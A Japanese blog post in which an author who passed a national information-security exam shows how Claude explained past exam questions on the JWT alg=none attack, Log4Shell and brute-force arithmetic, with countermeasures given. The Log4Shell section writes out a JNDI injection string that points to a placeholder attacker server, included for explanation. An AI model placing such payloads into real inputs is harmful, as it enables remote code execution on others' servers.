はじめに
こんにちは、アルです。
私が情報処理安全確保支援士試験に合格したのは2025年4月のことです。
正直に言うと、受験勉強中はAIをほとんど使っていませんでした。 過去問道場と参考書を繰り返しただけです。
合格後に「AIで過去問を解説してもらったらどうなるんだろう?」と試してみたところ、これが想像以上に使えたのでまとめます。
「AIって難しそう」「エンジニアじゃないから使いこなせないのでは」と思っている方にこそ読んでほしい記事です。
使い方はシンプル:問題文を貼って「説明して」と言うだけ
AIに問題を解説してもらうのに、難しい操作は何もいりません。
やること:
- 過去問サイトから問題文をコピー
- ClaudeやChatGPTに貼り付ける
- 「この用語の意味を教えて」「この仕組みをわかりやすく説明して」と聞く
それだけです。
試しに、令和6年度春期の午後試験・問1(APIセキュリティ)を題材に実際に質問してみました。
実際に試してみた①:JWT の alg=none 攻撃
午後試験では、JWT(JSON Web Token)の脆弱性がよく出題されます。
参考書を読んでも「なんとなくわかるけど自信がない」という状態になりがちなポイントです。
Claudeへの質問:
JWTのalg=none攻撃ってどういう意味ですか?試験問題に出てきたのですが、わかりやすく説明してください。
Claudeの回答:
JWTは「誰が発行したか」を証明するための署名付きトークンです。本来は署名アルゴリズムによって「このトークンは私(サーバー)が発行した本物だ」と検証します。
ところがJWTのヘッダーには
"alg"というアルゴリズム指定欄があり、攻撃者がこれを"none"に書き換えると、「署名なしで検証してください」という意味になります。サーバー側がこれを無条件に受け入れてしまうと、攻撃者は自分で書いたトークンを「正規のもの」として通過させることができます。
対策は「サーバー側でアルゴリズムを固定すること」。受け取ったJWTの
algを信用せず、使うアルゴリズムだけを許可するようにします。
感想:
参考書には「alg=noneによる署名検証のバイパス」と書いてあるだけで、正直イメージがわきませんでした。AIに聞いてみると、なぜ危険なのかの流れが一度で理解できました。
実際に試してみた②:Log4Shell の仕組み
Log4ShellはCVE-2021-44228という有名な脆弱性で、試験でも頻出です。
名前は聞いたことがあっても、「なぜそんな攻撃ができるのか」が腑に落ちていない方も多いと思います。
Claudeへの質問:
Log4Shell(CVE-2021-44228)って試験で出てきましたが、仕組みをざっくり教えてください。エンジニアじゃないので難しい言葉は避けてほしいです。
Claudeの回答:
Log4ShellはJavaのログ記録ツール「Log4j」に見つかった脆弱性です。
Log4jには、ログに記録する文字列の中に
${jndi:ldap://...}という形式があったら、外部サーバーに問い合わせて処理を実行する機能がありました。これは本来便利な機能でしたが、攻撃者がこの文字列をわざとログに記録させると、サーバーが攻撃者の指定した外部サーバーに勝手に接続し、悪意のあるコードを実行してしまいます。たとえばログインフォームに
${jndi:ldap://攻撃者サーバー/x}と入力するだけで、サーバーが乗っ取られる可能性がありました。試験では「この攻撃文字列をWAFの正規表現で検知する」パターンが問われます。
感想:
「ログに特定の文字列を入れると外部サーバーに接続する」という仕組みを知ると、なぜWAFでの検知が対策になるのかも自然に理解できました。「わかった気になっていた」が「本当にわかった」に変わる感覚でした。
実際に試してみた③:総当たり攻撃の計算
午後試験では「4桁の数字に総当たり攻撃をした場合、平均何回試す必要があるか」といった計算問題が出ます。
文系・非エンジニアがつまずきやすいポイントです。
Claudeへの質問:
4桁の数字への総当たり攻撃で、平均何回試せば当たりますか?計算の考え方を教えてください。
Claudeの回答:
4桁の数字(0000〜9999)の組み合わせは全部で 10,000通りです。
ランダムに試す場合、平均で「全パターン÷2」回試すと当たります。
10,000 ÷ 2 = 5,000回
試験では「1回の試行に何秒かかるか」という条件も加えて、「平均何分かかるか」を答えさせるパターンが多いです。たとえば1回3秒なら 5,000×3秒=15,000秒=約4.2時間、という形で計算します。
感想:
公式を暗記するのではなく、「なぜ÷2なのか」という考え方から教えてくれるので、別の条件の問題が出ても応用できます。参考書に書いてある答えだけを覚えるのとは大違いでした。
AIを使った勉強の3つのメリット
実際に試してみて感じたメリットをまとめます。
1. 「わかるまで何度でも聞ける」
参考書は読み返しても同じ説明しかありません。AIは「もっと簡単に」「別の例で教えて」と何度でも言い方を変えて教えてくれます。
2. 「難易度を自分で調整できる」
「エンジニアじゃないのでわかりやすく」「中学生でもわかるように」と付け加えるだけで、説明のレベルが変わります。
3. 「計算の考え方から教えてくれる」
答えだけでなく「なぜそうなるか」を教えてくれるので、応用が利きます。
まとめ
- AIへの質問はシンプル:「問題文を貼って説明してもらうだけ」
- 参考書では「なんとなく」だった理解が「本当にわかった」に変わる
- 難易度・言い方を自分で調整できるのが非エンジニアには特に助かる
- 私は試験後に気づいたが、勉強中から使えばよかったと本気で思っている
次回は、Claude APIを実際に使ってみた話を書きます。「APIって何?」というところから、非エンジニアがどこまでできたかをリポートします。
参考リンク
- 情報処理安全確保支援士過去問道場(無料・午後問題も収録)
- 令和6年度春期 午後問1 解説(この記事で取り上げた問題)
- IPA 公式 過去問題ページ(問題冊子・解答例PDFをダウンロードできます)